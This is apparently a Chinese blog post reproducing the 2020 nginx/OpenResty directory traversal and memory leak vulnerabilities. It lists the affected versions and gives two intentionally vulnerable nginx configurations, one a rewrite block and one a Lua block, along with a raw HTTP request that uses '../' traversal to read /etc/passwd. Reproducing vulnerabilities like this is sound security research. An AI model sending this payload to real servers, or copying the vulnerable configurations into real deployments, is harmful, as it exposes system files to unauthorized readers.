Nginx/OpenResty目录穿越漏洞复现-Toy模板网

这篇具有很好参考价值的文章主要介绍了Nginx/OpenResty目录穿越漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

Nginx/OpenResty目录穿越漏洞复现

漏洞背景：

2020年03月18日， 360CERT监测发现 openwall oss-security 邮件组披露了两枚漏洞。在特定配置下 nginx/openresty 存在内存泄漏漏洞/目录穿越漏洞。

Nginx 是异步框架的网页服务器，也可以用作反向代理、负载平衡器和HTTP缓存。

OpenResty是一个基于nginx的Web平台，它对nginx增加LuaJIT引擎使其运行Lua脚本。

影响版本：

nginx <= v1.17.7 (commit af8ea176a743e97d767b3e1439d549b52dd0367a)

openresty <= v1.15.8.2

环境复现：

操作系统centos7。
安装 nginx 版本选择了 1.17.7
修改 rewrite 配置

//directory traversal
location ~ /rewrite {
   rewrite ^.*$ $arg_x;
}

带着 payload 请求 /rewrite 目录读取passwd文件下的密码

GET /rewrite?x=/../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

返回响应后的内容。

Nginx/OpenResty目录穿越漏洞复现

在 openresty v1.15.8.2 测试，同样可以复现

环境搭建：

采用刚搭建的 nginx 1.17.7，安装 lua-nginx-module，需要重新编译nginx，安装编译过程可参见：地址
配置nginx.conf

//memleak
location ~ /memleak {
    rewrite_by_lua_block {
        ngx.req.read_body();
        local args, err = ngx.req.get_post_args();
        ngx.req.set_uri( args["url"], true );
    }
}

这里采用openresty v1.15.8.2 版本,成功复现（lua-nginx-module-0.10.15 以上版本会报错）

Nginx/OpenResty目录穿越漏洞复现